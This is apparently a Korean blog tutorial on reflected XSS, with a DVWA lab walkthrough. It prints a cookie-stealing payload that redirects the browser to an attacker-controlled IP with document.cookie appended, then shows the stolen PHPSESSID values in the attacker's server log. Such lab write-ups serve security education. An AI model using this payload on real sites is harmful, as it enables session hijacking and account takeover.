반응형
SMALL

1. Reflected XSS 공격 개요

리플렉티드 크로스 사이트 스크립팅 취약점은 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 취약점이다. 입력된 스크립트가 마치 반사되는 것처럼 동작하기 때문에 붙은 이름이다.

 

 

 

[그림 1-1] Reflected XSS 공격 과정

[출저 : AhnLab Blog]

공격자는 사용자가 Reflected XSS 공격에 유도될 수 있도록 이메일, 게시판, SNS 등 공격자가 링크를 남길 수 있는 곳이라면 어디든 피싱을 한다. 사용자는 공격자가 걸어 놓은 악성 링크를 클릭하게 되면 공격 스크립트 코드가 삽입된 사이트로 이동되고 입력된 스크립트가 반사되어 그대로 웹 사이트에 출력된다. 웹 페이지를 읽은 웹 브라우저는 자동으로 스크립트를 실행하고 세션 쿠키를 공격자에게 전달한다. 세션 쿠키를 전달받은 공격자는 사용자의 권한으로 로그인할 수 있게 된다.

 

2. Reflected XSS 공격 실습

 

 

 

[그림 1-2] XSS 공격 구문

XSS 공격 구문인 <script>alert(1)</script>를 삽입한 후 Submit을 클릭해 웹 브라우저에 요청을 보낸다.

 

 

 

[그림 1-3] Reflected XSS 공격 실행

웹 브라우저에 요청을 보내면 곧바로 경고창이 실행된다. 이와 같이 스크립트가 응답되서 실행될 때 Reflected XSS 공격 취약점이 존재한다고 판단할 수 있다.

 

 

 

[그림 1-4] 쿠키 값 탈취 스크립트

웹 브라우저에 쿠키 값을 탈취할 수 있는 Reflected XSS 공격 구문을 삽입한 후 요청을 보낸다.

 

 

 

[그림 1-5] 쿠키 값 탈취

document.cookie 스크립트 코드로 인해 쿠키 값이 출력된다. PHPSESSID라는 쿠키는 php에서 생성된 세션 쿠키다. Reflected XSS 공격은 주로 세션 쿠키를 알아내기 위해 사용된다.

 

 

 

[그림 1-5] Redirect 스크립트

폼에 <script>document.location='http://192.168.171.172/cookie?'+document.cookie</script>를 입력하고 요청을 보낸다. document.location을 이용해 지정한 위치로 리다이렉트 시키는 스크립트다. 이 스크립트가 실행되면 웹 브라우저는 공격자의 호스트로 접속하게 된다.

 

 

 

[그림 1-6] 로그 검색

Tail 명령어를 활용해 파일의 내용을 확인한다. 웹 서버로 들어온 요청 정보가 기록되는데 DVWA에서 Reflected XSS 공격을 할 때마다 로그 파일에 로그가 계속 기록된다. 앞서 했던 쿠키 값을 탈취하기 위해 실행했던 document.cookie 스크립트와 함께 PHPSESSID 세션 쿠키 값도 모두 기록되어 있다는 것을 확인할 수 있다. Reflected XSS 공격은 사용자가 눈치 채지 못하게 공격을 해야 하기 때문에 사용자에게 피싱을 어떤식으로 하는지가 가장 중요한 관건이 된다.

반응형
LIST

'웹해킹 > DVWA' 카테고리의 다른 글

브루트 포스 공격  (0) 2020.01.26
Reflected XSS 공격 (2)  (0) 2020.01.21
Stored XSS 공격  (0) 2020.01.21
CSRF 공격 (2)  (0) 2020.01.12
CSRF 공격 (1)  (0) 2020.01.12
블로그 이미지

만년필석사

,